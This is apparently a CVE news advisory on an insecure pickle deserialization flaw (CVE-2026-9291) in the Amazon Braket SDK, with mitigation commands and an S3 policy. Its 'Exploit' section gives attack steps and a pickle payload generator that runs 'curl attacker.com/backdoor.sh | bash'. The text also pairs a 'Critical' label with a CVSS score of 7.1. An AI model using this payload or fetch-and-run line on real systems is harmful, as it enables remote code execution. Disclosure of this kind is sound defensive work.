Amazon Braket SDK, Insecure Deserialization, CVE-2026-9291 (Critical) -DC-Jun2026-647

Listen to this Post

How CVE-2026-9291 Works

Amazon Braket SDK is an open-source Python library for interacting with the Amazon Braket quantum computing service, including managing hybrid quantum jobs and retrieving job results. The vulnerability stems from insecure deserialization (CWE-502) in the job results processing component.
The SDK’s `deserialize_values()` function reads the `dataFormat` field directly from the job results JSON file (results.json) stored in an S3 bucket without validation. Under normal operation, this field is set to PLAINTEXT, and the SDK safely processes the data. However, the SDK also supports a `pickled_v4` format, which triggers Python’s `pickle.loads()` to deserialize the data payload.
An attacker with S3 write access to a victim’s Braket job output bucket can exploit this by:
1. Modifying the `dataFormat` field in `results.json` from `PLAINTEXT` to `pickled_v4`
2. Replacing the `dataDictionary` values with base64-encoded malicious Python pickle payloads
3. When the victim calls job.result(), load_job_result(), or `load_job_checkpoint()` as part of their normal Braket workflow, the SDK calls `pickle.loads()` on the attacker-controlled data
This executes arbitrary code with the victim’s permissions on any machine that processes the job results. The attack requires minimal privileges beyond S3 write access, making it accessible to attackers who have already gained some level of system access.
The vulnerability affects all versions from v1.10.0 up to but not including v1.117.0. It was patched in version 1.117.0 released on May 22, 2026.

DailyCVE Form:

Platform: ……. Amazon Braket SDK
Version: …….. >= v1.10.0, < v1.117.0
Vulnerability :.. Insecure Deserialization (CWE-502)
Severity: ……. Critical (CVSS 3.1: 7.1)
date: ……….. 2026-05-22

Prediction: ….. Patch expected May 22, 2026

What Undercode Say:

Analytics

The vulnerability represents a significant security risk that can be exploited by remote authenticated attackers who possess S3 write access to job output buckets. The flaw stems from the SDK’s improper handling of serialized data during job result processing, creating an attack surface where maliciously crafted serialized objects can be executed on systems processing these results. This attack vector is particularly dangerous because it leverages legitimate SDK functionality while exploiting the trust relationship between the SDK and the serialized data it processes. The vulnerability falls under the ATT&CK technique T1203 for Exploitation for Execution.

Bash Commands & Code

Check installed version:

pip show amazon-braket-sdk | grep Version

Upgrade to patched version:

pip install --upgrade amazon-braket-sdk>=1.117.0

Verify S3 bucket permissions (audit):

aws s3api get-bucket-policy --bucket YOUR_BRAKET_OUTPUT_BUCKET

Restrict S3 write access (least privilege):

aws s3api put-bucket-policy --bucket YOUR_BRAKET_OUTPUT_BUCKET --policy file://policy.json

Example policy.json:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::YOUR_BRAKET_OUTPUT_BUCKET/",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::YOUR_ACCOUNT:role/TRUSTED_ROLE"
}
}
}
]
}

Validate dataFormat before processing (workaround):

import json
def safe_load_result(s3_key):
Fetch results.json from S3
data = json.loads(results_json_content)
if data.get('dataFormat') == 'pickled_v4':
Refuse to process unless pickle was explicitly configured
raise ValueError("Untrusted pickled_v4 format detected")
Proceed with safe processing
return process_result(data)

Exploit:

An attacker with S3 write access to the victim’s Braket job output bucket can:
1. Locate the target `results.json` file in the victim’s S3 output bucket
2. Modify the JSON by changing `”dataFormat”: “PLAINTEXT”` to `”dataFormat”: “pickled_v4″`
3. Replace data payload with a base64-encoded malicious pickle object
4. Wait for the victim to call job.result(), load_job_result(), or `load_job_checkpoint()`
5. Achieve RCE when the SDK executes `pickle.loads()` on the malicious payload

Example malicious payload generation:

import pickle
import base64
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('curl attacker.com/backdoor.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
Insert payload into dataDictionary of results.json

The attacker gains code execution with the victim’s permissions on any machine that processes the job results.

Protection:

Primary Mitigation:

  • Upgrade to amazon-braket-sdk version 1.117.0 or later immediately

Workarounds (if unable to upgrade immediately):

  1. Restrict S3 bucket policies on Braket job output buckets to enforce least-privilege access, ensuring only trusted principals have `s3:PutObject` permissions
  2. Validate the `dataFormat` field in job result metadata before calling `job.result()` and refuse to process results where the format is `pickled_v4` unless pickle serialization was explicitly configured
  3. Implement monitoring for suspicious S3 bucket activities and consider restricting write permissions to job output buckets

Recommended Security Practices:

  • Update the SDK/fork so results processing validates the `dataFormat` field and refuses to deserialize `pickled_v4` unless explicitly configured
  • Ensure the SDK no longer calls `pickle.loads()` on actor-controlled results without proper validation

Impact:

  • Arbitrary Code Execution: Attackers can execute arbitrary code on any machine that processes Braket job results
  • Full System Compromise: Enables attackers to gain full control over systems processing Braket job results
  • Data Exfiltration: Leads to potential data theft from compromised systems
  • Lateral Movement: Enables network infiltration and lateral movement within infrastructure
  • Widespread Risk: Affects any machine that processes job results through affected SDK versions across distributed computing environments
  • Production Impact: Organizations using the SDK in production face significant risk of unauthorized access and potential system compromise
    For security questions or concerns, contact AWS Security at [email protected].

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top